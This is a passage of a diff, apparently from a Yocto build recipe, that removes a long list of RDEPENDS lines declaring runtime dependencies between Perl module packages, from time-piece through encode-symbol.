-RDEPENDS_perl-module-time-localtime += "perl-module-time-tm"
-RDEPENDS_perl-module-time-piece += "perl-module-constant"
-RDEPENDS_perl-module-time-piece += "perl-module-exporter"
-RDEPENDS_perl-module-time-piece += "perl-module-integer"
-RDEPENDS_perl-module-time-piece += "perl-module-overload"
-RDEPENDS_perl-module-time-piece += "perl-module-strict"
-RDEPENDS_perl-module-time-piece += "perl-module-time-local"
-RDEPENDS_perl-module-time-piece += "perl-module-time-seconds"
-RDEPENDS_perl-module-time-piece += "perl-module-xsloader"
-RDEPENDS_perl-module-time-seconds += "perl-module-constant"
-RDEPENDS_perl-module-time-seconds += "perl-module-exporter"
-RDEPENDS_perl-module-time-seconds += "perl-module-overload"
-RDEPENDS_perl-module-time-seconds += "perl-module-strict"
-RDEPENDS_perl-module-time-tm += "perl-module-class-struct"
-RDEPENDS_perl-module-time-tm += "perl-module-strict"
-RDEPENDS_perl-module-unicode-collate-cjk-big5 += "perl-module-strict"
-RDEPENDS_perl-module-unicode-collate-cjk-big5 += "perl-module-warnings"
-RDEPENDS_perl-module-unicode-collate-cjk-gb2312 += "perl-module-strict"
-RDEPENDS_perl-module-unicode-collate-cjk-gb2312 += "perl-module-warnings"
-RDEPENDS_perl-module-unicode-collate-cjk-jisx0208 += "perl-module-strict"
-RDEPENDS_perl-module-unicode-collate-cjk-jisx0208 += "perl-module-warnings"
-RDEPENDS_perl-module-unicode-collate-cjk-korean += "perl-module-strict"
-RDEPENDS_perl-module-unicode-collate-cjk-korean += "perl-module-warnings"
-RDEPENDS_perl-module-unicode-collate-cjk-pinyin += "perl-module-strict"
-RDEPENDS_perl-module-unicode-collate-cjk-pinyin += "perl-module-warnings"
-RDEPENDS_perl-module-unicode-collate-cjk-stroke += "perl-module-strict"
-RDEPENDS_perl-module-unicode-collate-cjk-stroke += "perl-module-warnings"
-RDEPENDS_perl-module-unicode-collate-cjk-zhuyin += "perl-module-strict"
-RDEPENDS_perl-module-unicode-collate-cjk-zhuyin += "perl-module-warnings"
-RDEPENDS_perl-module-unicode-collate-locale += "perl-module-base"
-RDEPENDS_perl-module-unicode-collate-locale += "perl-module-strict"
-RDEPENDS_perl-module-unicode-collate-locale += "perl-module-warnings"
-RDEPENDS_perl-module-unicode-collate += "perl-module-constant"
-RDEPENDS_perl-module-unicode-collate += "perl-module-strict"
-RDEPENDS_perl-module-unicode-collate += "perl-module-warnings"
-RDEPENDS_perl-module-unicode-collate += "perl-module-xsloader"
-RDEPENDS_perl-module-unicode-normalize += "perl-module-exporter"
-RDEPENDS_perl-module-unicode-normalize += "perl-module-strict"
-RDEPENDS_perl-module-unicode-normalize += "perl-module-warnings"
-RDEPENDS_perl-module-unicode-normalize += "perl-module-xsloader"
-RDEPENDS_perl-module-unicode-ucd += "perl-module-charnames"
-RDEPENDS_perl-module-unicode-ucd += "perl-module-exporter"
-RDEPENDS_perl-module-unicode-ucd += "perl-module-feature"
-RDEPENDS_perl-module-unicode-ucd += "perl-module-if"
-RDEPENDS_perl-module-unicode-ucd += "perl-module-integer"
-RDEPENDS_perl-module-unicode-ucd += "perl-module-strict"
-RDEPENDS_perl-module-unicode-ucd += "perl-module-unicode-normalize"
-RDEPENDS_perl-module-unicode-ucd += "perl-module-utf8-heavy"
-RDEPENDS_perl-module-unicode-ucd += "perl-module-warnings"
-RDEPENDS_perl-module-user-grent += "perl-module-class-struct"
-RDEPENDS_perl-module-user-grent += "perl-module-exporter"
-RDEPENDS_perl-module-user-grent += "perl-module-strict"
-RDEPENDS_perl-module-user-pwent += "perl-module-class-struct"
-RDEPENDS_perl-module-user-pwent += "perl-module-config"
-RDEPENDS_perl-module-user-pwent += "perl-module-exporter"
-RDEPENDS_perl-module-user-pwent += "perl-module-strict"
-RDEPENDS_perl-module-user-pwent += "perl-module-warnings"
-RDEPENDS_perl-module-utf8 += "perl-module-utf8-heavy"
-RDEPENDS_perl-module-version += "perl-module-strict"
-RDEPENDS_perl-module-version += "perl-module-version-regex"
-RDEPENDS_perl-module-version += "perl-module-warnings-register"
-RDEPENDS_perl-module-version-regex += "perl-module-strict"
-RDEPENDS_perl-module-xsloader += "perl-module-dynaloader"
-RDEPENDS_perl-module-anydbm-file += "perl-module-strict"
-RDEPENDS_perl-module-anydbm-file += "perl-module-warnings"
-RDEPENDS_perl-module-app-cpan += "perl-module-config"
-RDEPENDS_perl-module-app-cpan += "perl-module-constant"
-RDEPENDS_perl-module-app-cpan += "perl-module-cpan"
-RDEPENDS_perl-module-app-cpan += "perl-module-cwd"
-RDEPENDS_perl-module-app-cpan += "perl-module-data-dumper"
-RDEPENDS_perl-module-app-cpan += "perl-module-file-basename"
-RDEPENDS_perl-module-app-cpan += "perl-module-file-find"
-RDEPENDS_perl-module-app-cpan += "perl-module-getopt-std"
-RDEPENDS_perl-module-app-cpan += "perl-module-if"
-RDEPENDS_perl-module-app-cpan += "perl-module-net-ping"
-RDEPENDS_perl-module-app-cpan += "perl-module-strict"
-RDEPENDS_perl-module-app-cpan += "perl-module-user-pwent"
-RDEPENDS_perl-module-app-cpan += "perl-module-vars"
-RDEPENDS_perl-module-app-cpan += "perl-module-warnings"
-RDEPENDS_perl-module-app-prove += "perl-module-app-prove-state"
-RDEPENDS_perl-module-app-prove += "perl-module-base"
-RDEPENDS_perl-module-app-prove += "perl-module-constant"
-RDEPENDS_perl-module-app-prove += "perl-module-getopt-long"
-RDEPENDS_perl-module-app-prove += "perl-module-strict"
-RDEPENDS_perl-module-app-prove += "perl-module-tap-harness"
-RDEPENDS_perl-module-app-prove += "perl-module-tap-harness-env"
-RDEPENDS_perl-module-app-prove += "perl-module-text-parsewords"
-RDEPENDS_perl-module-app-prove += "perl-module-warnings"
-RDEPENDS_perl-module-app-prove-state += "perl-module-app-prove-state-result"
-RDEPENDS_perl-module-app-prove-state += "perl-module-base"
-RDEPENDS_perl-module-app-prove-state += "perl-module-constant"
-RDEPENDS_perl-module-app-prove-state += "perl-module-file-find"
-RDEPENDS_perl-module-app-prove-state += "perl-module-strict"
-RDEPENDS_perl-module-app-prove-state += "perl-module-tap-parser-yamlish-reader"
-RDEPENDS_perl-module-app-prove-state += "perl-module-tap-parser-yamlish-writer"
-RDEPENDS_perl-module-app-prove-state += "perl-module-warnings"
-RDEPENDS_perl-module-app-prove-state-result += "perl-module-app-prove-state-result-test"
-RDEPENDS_perl-module-app-prove-state-result += "perl-module-constant"
-RDEPENDS_perl-module-app-prove-state-result += "perl-module-strict"
-RDEPENDS_perl-module-app-prove-state-result += "perl-module-warnings"
-RDEPENDS_perl-module-app-prove-state-result-test += "perl-module-strict"
-RDEPENDS_perl-module-app-prove-state-result-test += "perl-module-warnings"
-RDEPENDS_perl-module-archive-tar-constant += "perl-module-constant"
-RDEPENDS_perl-module-archive-tar-constant += "perl-module-exporter"
-RDEPENDS_perl-module-archive-tar-constant += "perl-module-io-compress-bzip2"
-RDEPENDS_perl-module-archive-tar-constant += "perl-module-strict"
-RDEPENDS_perl-module-archive-tar-constant += "perl-module-time-local"
-RDEPENDS_perl-module-archive-tar-constant += "perl-module-warnings"
-RDEPENDS_perl-module-archive-tar-file += "perl-module-archive-tar"
-RDEPENDS_perl-module-archive-tar-file += "perl-module-archive-tar-constant"
-RDEPENDS_perl-module-archive-tar-file += "perl-module-file-basename"
-RDEPENDS_perl-module-archive-tar-file += "perl-module-io-file"
-RDEPENDS_perl-module-archive-tar-file += "perl-module-strict"
-RDEPENDS_perl-module-archive-tar-file += "perl-module-vars"
-RDEPENDS_perl-module-archive-tar += "perl-module-archive-tar-constant"
-RDEPENDS_perl-module-archive-tar += "perl-module-archive-tar-file"
-RDEPENDS_perl-module-archive-tar += "perl-module-config"
-RDEPENDS_perl-module-archive-tar += "perl-module-cwd"
-RDEPENDS_perl-module-archive-tar += "perl-module-exporter"
-RDEPENDS_perl-module-archive-tar += "perl-module-file-path"
-RDEPENDS_perl-module-archive-tar += "perl-module-io-file"
-RDEPENDS_perl-module-archive-tar += "perl-module-io-zlib"
-RDEPENDS_perl-module-archive-tar += "perl-module-strict"
-RDEPENDS_perl-module-archive-tar += "perl-module-vars"
-RDEPENDS_perl-module-arybase += "perl-module-xsloader"
-RDEPENDS_perl-module-attribute-handlers += "perl-module-strict"
-RDEPENDS_perl-module-attribute-handlers += "perl-module-warnings"
-RDEPENDS_perl-module-attributes += "perl-module-exporter"
-RDEPENDS_perl-module-attributes += "perl-module-strict"
-RDEPENDS_perl-module-attributes += "perl-module-warnings"
-RDEPENDS_perl-module-attributes += "perl-module-xsloader"
-RDEPENDS_perl-module-autodie-exception += "perl-module-constant"
-RDEPENDS_perl-module-autodie-exception += "perl-module-fatal"
-RDEPENDS_perl-module-autodie-exception += "perl-module-fcntl"
-RDEPENDS_perl-module-autodie-exception += "perl-module-overload"
-RDEPENDS_perl-module-autodie-exception += "perl-module-strict"
-RDEPENDS_perl-module-autodie-exception += "perl-module-warnings"
-RDEPENDS_perl-module-autodie-exception-system += "perl-module-parent"
-RDEPENDS_perl-module-autodie-exception-system += "perl-module-strict"
-RDEPENDS_perl-module-autodie-exception-system += "perl-module-warnings"
-RDEPENDS_perl-module-autodie-hints += "perl-module-b"
-RDEPENDS_perl-module-autodie-hints += "perl-module-constant"
-RDEPENDS_perl-module-autodie-hints += "perl-module-strict"
-RDEPENDS_perl-module-autodie-hints += "perl-module-warnings"
-RDEPENDS_perl-module-autodie += "perl-module-constant"
-RDEPENDS_perl-module-autodie += "perl-module-lib"
-RDEPENDS_perl-module-autodie += "perl-module-parent"
-RDEPENDS_perl-module-autodie += "perl-module-strict"
-RDEPENDS_perl-module-autodie += "perl-module-warnings"
-RDEPENDS_perl-module-autodie-scope-guard += "perl-module-strict"
-RDEPENDS_perl-module-autodie-scope-guard += "perl-module-warnings"
-RDEPENDS_perl-module-autodie-scope-guardstack += "perl-module-autodie-scope-guard"
-RDEPENDS_perl-module-autodie-scope-guardstack += "perl-module-strict"
-RDEPENDS_perl-module-autodie-scope-guardstack += "perl-module-warnings"
-RDEPENDS_perl-module-autodie-skip += "perl-module-strict"
-RDEPENDS_perl-module-autodie-skip += "perl-module-warnings"
-RDEPENDS_perl-module-autodie-util += "perl-module-autodie-scope-guardstack"
-RDEPENDS_perl-module-autodie-util += "perl-module-exporter"
-RDEPENDS_perl-module-autodie-util += "perl-module-strict"
-RDEPENDS_perl-module-autodie-util += "perl-module-warnings"
-RDEPENDS_perl-module-autoloader += "perl-module-strict"
-RDEPENDS_perl-module-autosplit += "perl-module-config"
-RDEPENDS_perl-module-autosplit += "perl-module-exporter"
-RDEPENDS_perl-module-autosplit += "perl-module-file-basename"
-RDEPENDS_perl-module-autosplit += "perl-module-file-path"
-RDEPENDS_perl-module-autosplit += "perl-module-strict"
-RDEPENDS_perl-module-base += "perl-module-strict"
-RDEPENDS_perl-module-b-concise += "perl-module-b"
-RDEPENDS_perl-module-b-concise += "perl-module-b-op-private"
-RDEPENDS_perl-module-b-concise += "perl-module-config"
-RDEPENDS_perl-module-b-concise += "perl-module-exporter"
-RDEPENDS_perl-module-b-concise += "perl-module-feature"
-RDEPENDS_perl-module-b-concise += "perl-module-strict"
-RDEPENDS_perl-module-b-concise += "perl-module-warnings"
-RDEPENDS_perl-module-b-debug += "perl-module-b"
-RDEPENDS_perl-module-b-debug += "perl-module-config"
-RDEPENDS_perl-module-b-debug += "perl-module-strict"
-RDEPENDS_perl-module-benchmark += "perl-module-exporter"
-RDEPENDS_perl-module-benchmark += "perl-module-strict"
-RDEPENDS_perl-module-bigint += "perl-module-constant"
-RDEPENDS_perl-module-bigint += "perl-module-exporter"
-RDEPENDS_perl-module-bigint += "perl-module-math-bigint"
-RDEPENDS_perl-module-bigint += "perl-module-math-bigint-trace"
-RDEPENDS_perl-module-bigint += "perl-module-overload"
-RDEPENDS_perl-module-bigint += "perl-module-strict"
-RDEPENDS_perl-module-bigint += "perl-module-warnings"
-RDEPENDS_perl-module-bignum += "perl-module-bigint"
-RDEPENDS_perl-module-bignum += "perl-module-exporter"
-RDEPENDS_perl-module-bignum += "perl-module-math-bigfloat"
-RDEPENDS_perl-module-bignum += "perl-module-math-bigfloat-trace"
-RDEPENDS_perl-module-bignum += "perl-module-math-bigint"
-RDEPENDS_perl-module-bignum += "perl-module-math-bigint-trace"
-RDEPENDS_perl-module-bignum += "perl-module-overload"
-RDEPENDS_perl-module-bignum += "perl-module-strict"
-RDEPENDS_perl-module-bignum += "perl-module-warnings"
-RDEPENDS_perl-module-bigrat += "perl-module-bigint"
-RDEPENDS_perl-module-bigrat += "perl-module-exporter"
-RDEPENDS_perl-module-bigrat += "perl-module-math-bigfloat"
-RDEPENDS_perl-module-bigrat += "perl-module-math-bigint"
-RDEPENDS_perl-module-bigrat += "perl-module-math-bigint-trace"
-RDEPENDS_perl-module-bigrat += "perl-module-math-bigrat"
-RDEPENDS_perl-module-bigrat += "perl-module-overload"
-RDEPENDS_perl-module-bigrat += "perl-module-strict"
-RDEPENDS_perl-module-bigrat += "perl-module-warnings"
-RDEPENDS_perl-module-blib += "perl-module-cwd"
-RDEPENDS_perl-module-b += "perl-module-exporter"
-RDEPENDS_perl-module-b += "perl-module-xsloader"
-RDEPENDS_perl-module-b-showlex += "perl-module-b"
-RDEPENDS_perl-module-b-showlex += "perl-module-b-concise"
-RDEPENDS_perl-module-b-showlex += "perl-module-b-terse"
-RDEPENDS_perl-module-b-showlex += "perl-module-strict"
-RDEPENDS_perl-module-b-terse += "perl-module-b"
-RDEPENDS_perl-module-b-terse += "perl-module-b-concise"
-RDEPENDS_perl-module-b-terse += "perl-module-strict"
-RDEPENDS_perl-module-b-xref += "perl-module-b"
-RDEPENDS_perl-module-b-xref += "perl-module-config"
-RDEPENDS_perl-module-b-xref += "perl-module-strict"
-RDEPENDS_perl-module-bytes += "perl-module-bytes-heavy"
-RDEPENDS_perl-module--charnames += "perl-module-bytes"
-RDEPENDS_perl-module-charnames += "perl-module-bytes"
-RDEPENDS_perl-module-charnames += "perl-module--charnames"
-RDEPENDS_perl-module--charnames += "perl-module-re"
-RDEPENDS_perl-module-charnames += "perl-module-re"
-RDEPENDS_perl-module--charnames += "perl-module-strict"
-RDEPENDS_perl-module-charnames += "perl-module-strict"
-RDEPENDS_perl-module--charnames += "perl-module-warnings"
-RDEPENDS_perl-module-charnames += "perl-module-warnings"
-RDEPENDS_perl-module-class-struct += "perl-module-exporter"
-RDEPENDS_perl-module-class-struct += "perl-module-strict"
-RDEPENDS_perl-module-class-struct += "perl-module-warnings-register"
-RDEPENDS_perl-module-compress-raw-bzip2 += "perl-module-bytes "
-RDEPENDS_perl-module-compress-raw-bzip2 += "perl-module-constant"
-RDEPENDS_perl-module-compress-raw-bzip2 += "perl-module-dynaloader"
-RDEPENDS_perl-module-compress-raw-bzip2 += "perl-module-exporter"
-RDEPENDS_perl-module-compress-raw-bzip2 += "perl-module-strict "
-RDEPENDS_perl-module-compress-raw-bzip2 += "perl-module-warnings "
-RDEPENDS_perl-module-compress-raw-bzip2 += "perl-module-xsloader"
-RDEPENDS_perl-module-compress-raw-zlib += "perl-module-bytes "
-RDEPENDS_perl-module-compress-raw-zlib += "perl-module-constant"
-RDEPENDS_perl-module-compress-raw-zlib += "perl-module-dynaloader"
-RDEPENDS_perl-module-compress-raw-zlib += "perl-module-exporter"
-RDEPENDS_perl-module-compress-raw-zlib += "perl-module-strict "
-RDEPENDS_perl-module-compress-raw-zlib += "perl-module-warnings "
-RDEPENDS_perl-module-compress-raw-zlib += "perl-module-xsloader"
-RDEPENDS_perl-module-compress-zlib += "perl-module-bytes "
-RDEPENDS_perl-module-compress-zlib += "perl-module-compress-raw-zlib"
-RDEPENDS_perl-module-compress-zlib += "perl-module-constant"
-RDEPENDS_perl-module-compress-zlib += "perl-module-exporter"
-RDEPENDS_perl-module-compress-zlib += "perl-module-io-compress-base-common"
-RDEPENDS_perl-module-compress-zlib += "perl-module-io-compress-gzip"
-RDEPENDS_perl-module-compress-zlib += "perl-module-io-compress-gzip-constants"
-RDEPENDS_perl-module-compress-zlib += "perl-module-io-handle "
-RDEPENDS_perl-module-compress-zlib += "perl-module-io-uncompress-gunzip"
-RDEPENDS_perl-module-compress-zlib += "perl-module-strict "
-RDEPENDS_perl-module-compress-zlib += "perl-module-warnings "
-RDEPENDS_perl-module-config-extensions += "perl-module-config"
-RDEPENDS_perl-module-config-extensions += "perl-module-exporter"
-RDEPENDS_perl-module-config-extensions += "perl-module-strict"
-RDEPENDS_perl-module-config += "perl-module-strict"
-RDEPENDS_perl-module-config += "perl-module-warnings"
-RDEPENDS_perl-module-config-perl-v += "perl-module-config"
-RDEPENDS_perl-module-config-perl-v += "perl-module-exporter"
-RDEPENDS_perl-module-config-perl-v += "perl-module-strict"
-RDEPENDS_perl-module-config-perl-v += "perl-module-vars"
-RDEPENDS_perl-module-config-perl-v += "perl-module-warnings"
-RDEPENDS_perl-module-constant += "perl-module-strict"
-RDEPENDS_perl-module-constant += "perl-module-warnings-register"
-RDEPENDS_perl-module-corelist += "perl-module-list-util"
-RDEPENDS_perl-module-corelist += "perl-module-corelist"
-RDEPENDS_perl-module-corelist += "perl-module-strict"
-RDEPENDS_perl-module-corelist += "perl-module-version"
-RDEPENDS_perl-module-corelist += "perl-module-warnings"
-RDEPENDS_perl-module-cpan += "perl-module-b"
-RDEPENDS_perl-module-cpan += "perl-module-config"
-RDEPENDS_perl-module-cpan += "perl-module-cwd"
-RDEPENDS_perl-module-cpan += "perl-module-data-dumper"
-RDEPENDS_perl-module-cpan += "perl-module-dirhandle"
-RDEPENDS_perl-module-cpan += "perl-module-errno"
-RDEPENDS_perl-module-cpan += "perl-module-exporter"
-RDEPENDS_perl-module-cpan += "perl-module-extutils-makemaker"
-RDEPENDS_perl-module-cpan += "perl-module-extutils-manifest"
-RDEPENDS_perl-module-cpan += "perl-module-fcntl"
-RDEPENDS_perl-module-cpan += "perl-module-file-basename"
-RDEPENDS_perl-module-cpan += "perl-module-file-copy"
-RDEPENDS_perl-module-cpan += "perl-module-file-find"
-RDEPENDS_perl-module-cpan += "perl-module-filehandle"
-RDEPENDS_perl-module-cpan += "perl-module-file-path"
-RDEPENDS_perl-module-cpan += "perl-module-json-pp"
-RDEPENDS_perl-module-cpan += "perl-module-lib"
-RDEPENDS_perl-module-cpan += "perl-module-net-ping"
-RDEPENDS_perl-module-cpan += "perl-module-overload"
-RDEPENDS_perl-module-cpan += "perl-module-parse-cpan-meta"
-RDEPENDS_perl-module-cpan += "perl-module-posix"
-RDEPENDS_perl-module-cpan += "perl-module-safe"
-RDEPENDS_perl-module-cpan += "perl-module-strict"
-RDEPENDS_perl-module-cpan += "perl-module-sys-hostname"
-RDEPENDS_perl-module-cpan += "perl-module-term-readline"
-RDEPENDS_perl-module-cpan += "perl-module-text-parsewords"
-RDEPENDS_perl-module-cpan += "perl-module-text-wrap"
-RDEPENDS_perl-module-cpan += "perl-module-time-local"
-RDEPENDS_perl-module-cpan += "perl-module-vars"
-RDEPENDS_perl-module-cpan += "perl-module-warnings"
-RDEPENDS_perl-module-cwd += "perl-module-errno"
-RDEPENDS_perl-module-cwd += "perl-module-exporter"
-RDEPENDS_perl-module-cwd += "perl-module-strict"
-RDEPENDS_perl-module-cwd += "perl-module-xsloader"
-RDEPENDS_perl-module-data-dumper += "perl-module-config"
-RDEPENDS_perl-module-data-dumper += "perl-module-constant"
-RDEPENDS_perl-module-data-dumper += "perl-module-exporter"
-RDEPENDS_perl-module-data-dumper += "perl-module-xsloader"
-RDEPENDS_perl-module-dbm-filter-compress += "perl-module-strict"
-RDEPENDS_perl-module-dbm-filter-compress += "perl-module-warnings"
-RDEPENDS_perl-module-dbm-filter-encode += "perl-module-strict"
-RDEPENDS_perl-module-dbm-filter-encode += "perl-module-warnings"
-RDEPENDS_perl-module-dbm-filter-int32 += "perl-module-strict"
-RDEPENDS_perl-module-dbm-filter-int32 += "perl-module-warnings"
-RDEPENDS_perl-module-dbm-filter-null += "perl-module-strict"
-RDEPENDS_perl-module-dbm-filter-null += "perl-module-warnings"
-RDEPENDS_perl-module-dbm-filter += "perl-module-strict"
-RDEPENDS_perl-module-dbm-filter += "perl-module-warnings"
-RDEPENDS_perl-module-dbm-filter-utf8 += "perl-module-strict"
-RDEPENDS_perl-module-dbm-filter-utf8 += "perl-module-warnings"
-RDEPENDS_perl-module-db += "perl-module-strict"
-RDEPENDS_perl-module-deprecate += "perl-module-strict"
-RDEPENDS_perl-module-deprecate += "perl-module-warnings"
-RDEPENDS_perl-module-devel-peek += "perl-module-exporter"
-RDEPENDS_perl-module-devel-peek += "perl-module-xsloader"
-RDEPENDS_perl-module-devel-ppport += "perl-module-file-find"
-RDEPENDS_perl-module-devel-ppport += "perl-module-getopt-long"
-RDEPENDS_perl-module-devel-ppport += "perl-module-strict"
-RDEPENDS_perl-module-devel-ppport += "perl-module-vars"
-RDEPENDS_perl-module-devel-selfstubber += "perl-module-selfloader"
-RDEPENDS_perl-module-diagnostics += "perl-module-config"
-RDEPENDS_perl-module-diagnostics += "perl-module-getopt-std"
-RDEPENDS_perl-module-diagnostics += "perl-module-strict"
-RDEPENDS_perl-module-diagnostics += "perl-module-text-tabs"
-RDEPENDS_perl-module-digest-base += "perl-module-mime-base64"
-RDEPENDS_perl-module-digest-base += "perl-module-strict"
-RDEPENDS_perl-module-digest-base += "perl-module-vars"
-RDEPENDS_perl-module-digest-file += "perl-module-digest"
-RDEPENDS_perl-module-digest-file += "perl-module-exporter"
-RDEPENDS_perl-module-digest-file += "perl-module-strict"
-RDEPENDS_perl-module-digest-file += "perl-module-vars"
-RDEPENDS_perl-module-digest-md5 += "perl-module-digest-base"
-RDEPENDS_perl-module-digest-md5 += "perl-module-exporter"
-RDEPENDS_perl-module-digest-md5 += "perl-module-strict"
-RDEPENDS_perl-module-digest-md5 += "perl-module-vars"
-RDEPENDS_perl-module-digest-md5 += "perl-module-xsloader"
-RDEPENDS_perl-module-digest += "perl-module-strict"
-RDEPENDS_perl-module-digest += "perl-module-vars"
-RDEPENDS_perl-module-digest-sha += "perl-module-digest-base"
-RDEPENDS_perl-module-digest-sha += "perl-module-dynaloader"
-RDEPENDS_perl-module-digest-sha += "perl-module-exporter"
-RDEPENDS_perl-module-digest-sha += "perl-module-fcntl"
-RDEPENDS_perl-module-digest-sha += "perl-module-integer"
-RDEPENDS_perl-module-digest-sha += "perl-module-strict"
-RDEPENDS_perl-module-digest-sha += "perl-module-vars"
-RDEPENDS_perl-module-digest-sha += "perl-module-warnings"
-RDEPENDS_perl-module-digest-sha += "perl-module-xsloader"
-RDEPENDS_perl-module-dynaloader += "perl-module-config"
-RDEPENDS_perl-module-encode-alias += "perl-module-constant"
-RDEPENDS_perl-module-encode-alias += "perl-module-encode"
-RDEPENDS_perl-module-encode-alias += "perl-module-exporter"
-RDEPENDS_perl-module-encode-alias += "perl-module-strict"
-RDEPENDS_perl-module-encode-alias += "perl-module-warnings"
-RDEPENDS_perl-module-encode-byte += "perl-module-encode"
-RDEPENDS_perl-module-encode-byte += "perl-module-strict"
-RDEPENDS_perl-module-encode-byte += "perl-module-warnings"
-RDEPENDS_perl-module-encode-byte += "perl-module-xsloader"
-RDEPENDS_perl-module-encode-cjkconstants += "perl-module-exporter"
-RDEPENDS_perl-module-encode-cjkconstants += "perl-module-strict"
-RDEPENDS_perl-module-encode-cjkconstants += "perl-module-warnings"
-RDEPENDS_perl-module-encode-cn-hz += "perl-module-encode"
-RDEPENDS_perl-module-encode-cn-hz += "perl-module-parent"
-RDEPENDS_perl-module-encode-cn-hz += "perl-module-strict"
-RDEPENDS_perl-module-encode-cn-hz += "perl-module-utf8"
-RDEPENDS_perl-module-encode-cn-hz += "perl-module-vars"
-RDEPENDS_perl-module-encode-cn-hz += "perl-module-warnings"
-RDEPENDS_perl-module-encode-cn += "perl-module-encode"
-RDEPENDS_perl-module-encode-cn += "perl-module-encode-cn-hz"
-RDEPENDS_perl-module-encode-cn += "perl-module-strict"
-RDEPENDS_perl-module-encode-cn += "perl-module-warnings"
-RDEPENDS_perl-module-encode-cn += "perl-module-xsloader"
-RDEPENDS_perl-module-encode-config += "perl-module-strict"
-RDEPENDS_perl-module-encode-config += "perl-module-warnings"
-RDEPENDS_perl-module-encode-ebcdic += "perl-module-encode"
-RDEPENDS_perl-module-encode-ebcdic += "perl-module-strict"
-RDEPENDS_perl-module-encode-ebcdic += "perl-module-warnings"
-RDEPENDS_perl-module-encode-ebcdic += "perl-module-xsloader"
-RDEPENDS_perl-module-encode-encoder += "perl-module-constant"
-RDEPENDS_perl-module-encode-encoder += "perl-module-encode"
-RDEPENDS_perl-module-encode-encoder += "perl-module-exporter"
-RDEPENDS_perl-module-encode-encoder += "perl-module-overload"
-RDEPENDS_perl-module-encode-encoder += "perl-module-strict"
-RDEPENDS_perl-module-encode-encoder += "perl-module-warnings"
-RDEPENDS_perl-module-encode-encoding += "perl-module-constant"
-RDEPENDS_perl-module-encode-encoding += "perl-module-encode"
-RDEPENDS_perl-module-encode-encoding += "perl-module-encode-mime-name"
-RDEPENDS_perl-module-encode-encoding += "perl-module-strict"
-RDEPENDS_perl-module-encode-encoding += "perl-module-warnings"
-RDEPENDS_perl-module-encode-gsm0338 += "perl-module-encode"
-RDEPENDS_perl-module-encode-gsm0338 += "perl-module-parent"
-RDEPENDS_perl-module-encode-gsm0338 += "perl-module-strict"
-RDEPENDS_perl-module-encode-gsm0338 += "perl-module-utf8"
-RDEPENDS_perl-module-encode-gsm0338 += "perl-module-vars"
-RDEPENDS_perl-module-encode-gsm0338 += "perl-module-warnings"
-RDEPENDS_perl-module-encode-guess += "perl-module-bytes"
-RDEPENDS_perl-module-encode-guess += "perl-module-constant"
-RDEPENDS_perl-module-encode-guess += "perl-module-encode"
-RDEPENDS_perl-module-encode-guess += "perl-module-encode-unicode"
-RDEPENDS_perl-module-encode-guess += "perl-module-parent"
-RDEPENDS_perl-module-encode-guess += "perl-module-strict"
-RDEPENDS_perl-module-encode-guess += "perl-module-warnings"
-RDEPENDS_perl-module-encode-jp-h2z += "perl-module-encode-cjkconstants"
-RDEPENDS_perl-module-encode-jp-h2z += "perl-module-strict"
-RDEPENDS_perl-module-encode-jp-h2z += "perl-module-vars"
-RDEPENDS_perl-module-encode-jp-h2z += "perl-module-warnings"
-RDEPENDS_perl-module-encode-jp-jis7 += "perl-module-bytes"
-RDEPENDS_perl-module-encode-jp-jis7 += "perl-module-encode"
-RDEPENDS_perl-module-encode-jp-jis7 += "perl-module-encode-cjkconstants"
-RDEPENDS_perl-module-encode-jp-jis7 += "perl-module-encode-jp-h2z"
-RDEPENDS_perl-module-encode-jp-jis7 += "perl-module-parent"
-RDEPENDS_perl-module-encode-jp-jis7 += "perl-module-strict"
-RDEPENDS_perl-module-encode-jp-jis7 += "perl-module-warnings"
-RDEPENDS_perl-module-encode-jp += "perl-module-encode"
-RDEPENDS_perl-module-encode-jp += "perl-module-encode-jp-jis7"
-RDEPENDS_perl-module-encode-jp += "perl-module-strict"
-RDEPENDS_perl-module-encode-jp += "perl-module-warnings"
-RDEPENDS_perl-module-encode-jp += "perl-module-xsloader"
-RDEPENDS_perl-module-encode-kr-2022-kr += "perl-module-encode"
-RDEPENDS_perl-module-encode-kr-2022-kr += "perl-module-encode-cjkconstants"
-RDEPENDS_perl-module-encode-kr-2022-kr += "perl-module-parent"
-RDEPENDS_perl-module-encode-kr-2022-kr += "perl-module-strict"
-RDEPENDS_perl-module-encode-kr-2022-kr += "perl-module-warnings"
-RDEPENDS_perl-module-encode-kr += "perl-module-encode"
-RDEPENDS_perl-module-encode-kr += "perl-module-encode-kr-2022-kr"
-RDEPENDS_perl-module-encode-kr += "perl-module-strict"
-RDEPENDS_perl-module-encode-kr += "perl-module-warnings"
-RDEPENDS_perl-module-encode-kr += "perl-module-xsloader"
-RDEPENDS_perl-module-encode-mime-header-iso-2022-jp += "perl-module-constant"
-RDEPENDS_perl-module-encode-mime-header-iso-2022-jp += "perl-module-encode-cjkconstants"
-RDEPENDS_perl-module-encode-mime-header-iso-2022-jp += "perl-module-parent"
-RDEPENDS_perl-module-encode-mime-header-iso-2022-jp += "perl-module-strict"
-RDEPENDS_perl-module-encode-mime-header-iso-2022-jp += "perl-module-warnings"
-RDEPENDS_perl-module-encode-mime-header += "perl-module-encode"
-RDEPENDS_perl-module-encode-mime-header += "perl-module-mime-base64"
-RDEPENDS_perl-module-encode-mime-header += "perl-module-parent"
-RDEPENDS_perl-module-encode-mime-header += "perl-module-strict"
-RDEPENDS_perl-module-encode-mime-header += "perl-module-warnings"
-RDEPENDS_perl-module-encode-mime-name += "perl-module-strict"
-RDEPENDS_perl-module-encode-mime-name += "perl-module-warnings"
-RDEPENDS_perl-module-encode += "perl-module-bytes"
-RDEPENDS_perl-module-encode += "perl-module-constant"
-RDEPENDS_perl-module-encode += "perl-module-encode-alias"
-RDEPENDS_perl-module-encode += "perl-module-encode-config"
-RDEPENDS_perl-module-encode += "perl-module-encode-configlocal-pm"
-RDEPENDS_perl-module-encode += "perl-module-encode-encoding"
-RDEPENDS_perl-module-encode += "perl-module-encode-mime-name"
-RDEPENDS_perl-module-encode += "perl-module-exporter"
-RDEPENDS_perl-module-encode += "perl-module-parent"
-RDEPENDS_perl-module-encode += "perl-module-storable"
-RDEPENDS_perl-module-encode += "perl-module-strict"
-RDEPENDS_perl-module-encode += "perl-module-warnings"
-RDEPENDS_perl-module-encode += "perl-module-xsloader"
-RDEPENDS_perl-module-encode-symbol += "perl-module-encode"
-RDEPENDS_perl-module-encode-symbol += "perl-module-strict"
-RDEPENDS_perl-module-encode-symbol += "perl-module-warnings"
-RDEPENDS_perl-module-encode-symbol += "perl-module-xsloader"
